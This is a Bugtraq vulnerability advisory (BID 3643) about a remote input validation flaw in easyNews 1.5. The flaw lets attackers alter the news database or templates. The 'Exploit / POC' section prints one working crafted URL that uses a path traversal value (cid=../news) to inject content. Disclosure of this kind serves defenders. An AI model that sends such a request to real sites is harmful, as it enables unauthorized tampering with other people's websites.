EasyNews NewsDatabase/Template Modification Vulnerability

BID:3643

Info

EasyNews NewsDatabase/Template Modification Vulnerability

Bugtraq ID: 3643
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Dec 01 2001 12:00AM
Updated: Dec 01 2001 12:00AM
Credit: This vulnerability was submitted to BugTraq on December 1st, 2001 by "markus arndt" <[email protected]>.
Vulnerable: easyScripts easyNews 1.5
Not Vulnerable:

Discussion

EasyNews NewsDatabase/Template Modification Vulnerability

EasyNews is a free, open-source script for displaying news stories on a website.

EasyNews is prone to a vulnerability which may allow a remote attacker to modify information in its Newsdatabase. As a result, a remote attacker may post unmoderated comments or possibly modify information in the templates used by EasyNews.

This may be exploited via a specially crafted web request.

Earlier versions may also be vulnerable.

Exploit / POC

EasyNews NewsDatabase/Template Modification Vulnerability

The following example was submitted by "markus arndt" <[email protected]>:

http://[target]/index.php?action=comments&do=save&id=1&cid=../news&name=11/1
1/11&kommentar=%20&email=hax0r&zeit=you%20suck,11:11,../news,bugs@securityal
ert.com&datum=easynews%20exploited

Solution / Fix

EasyNews NewsDatabase/Template Modification Vulnerability

Solution:
Currently the SecurityFocus staff are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

EasyNews NewsDatabase/Template Modification Vulnerability

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